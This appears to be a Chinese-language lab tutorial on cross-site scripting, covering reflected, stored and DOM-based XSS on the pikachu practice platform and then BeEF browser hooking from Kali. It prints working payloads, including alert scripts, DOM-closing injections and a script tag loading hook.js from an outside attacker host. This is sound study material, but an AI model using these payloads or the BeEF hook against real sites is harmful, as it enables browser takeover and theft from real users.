XSS(Cross Site Scripting,跨站脚本漏洞)漏洞,又叫 CSS 漏洞,是最常见的 Web 应用程序漏洞。其主要原理是当动态页面中插入的内容含有特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML 标签,当这些HTML标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行,造成 XSS 攻击。
XSS 漏洞产生条件主要包含以下三个方面:
- (1)可以控制的输入点。
- (2)对输入数据没有进行有效的过滤和校验
- (3)输入的数据能返回到前端页面并被浏览器当成脚本语言解释执行
漏洞分类
依据攻击代码的工作方式可以将 XSS 漏洞分为三种类型:
- (1)反射型
- (2)存储型
- (3)DOM型
(1)反射型
反射型XSS,又称非持久型 XSS,之所以称为反射型 XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等方式“反射”回来,而称为非持久型 XSS,则是因为这种攻击方式是一次性的。攻击者通过通信工具、电子邮件等方式,将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,服务器再将注入脚本“反射”到受害者的浏览器上,浏览器则会执行脚本。
基于pakachu平台演示一个反射型
输入'"<>666,发现没有被过滤掉
输入<script>alert(1)</script>,删掉maxlength的20个字符的限制
(2)存储型
存储型XSS(Cross-Site Scripting)是一种常见的Web安全漏洞。攻击者往Web应用程序中注入恶意代码,这些代码被存储在服务器端。当其他用户浏览这些页面时,嵌入的恶意代码就会被执行。存储型XSS攻击通常发生在用户留言板、论坛、博客、收货地址、个人信息等需要用户输入且保存在数据库的地方,从而收到攻击。
查看过滤'"<>666
<script>alert(1)</script>
(3)DOM型
DOM(Document Object Model)即文档对象模型,提供通过JavaScript对HTML操作的接口。DOM型漏洞是客户端JavaScript脚本处理逻辑存在的漏洞,会导致的安全问题。跟反射型和存储型不同,DOM型漏洞不经过后台交互。
下面基于pikachu平台,演示一个完整的DOM型XSS漏洞测试过程
查看源码
通过分析源码可知,JavaScript使用getElementById 函数获取标签Id为text的内容,然后赋值给str,再把st拼接其他内容后赋值给a标签的href属性,a标签被写到Id为dom的div标签中,因此,通过闭合的方式构造Payload为“#'οnclick= alert("xss")>”
<div id="xssd_main"><script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}//试试:'><img src="#" onmouseover="alert('xss')">//试试:' onclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text" value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div></div>
构造payload #' οnclick= alert("xss")>点击
Beef
Beef(The Browser Exploitation Framework)是一款针对浏览器的渗透测试工具,一旦 Beef 钩住了浏览器,它将自动获取浏览器信息,同时可以进行社会工程学、网络攻击,也可以进行Tunneling 和 XSS Rays。Kali Linux 默认安装了 Beef。
下面基于 pikachu 平台中 XSS 漏洞模块和Kali Linux 演示一个 XSS 漏洞的综合利用案例。
访问beef
打开pakachu的xss(get)构造payload
<script src=http://192.168.235.128:3000/hook.js></script>
我们发现客户机已经在beef攻击平台上上线了。
选中上线主机我们就可以进行攻击了
在Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:
- 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见;
- 灰色模块:模块为在目标浏览器上测试过;
- 橙色模块:模块可用,但结果对用户可见;
- 红色模块:表示模块不适用当前用户,有些红色模块也可以执行,会有较大反应。
详情可以在beef官网查看使用情况:
BeEF - The Browser Exploitation Framework Project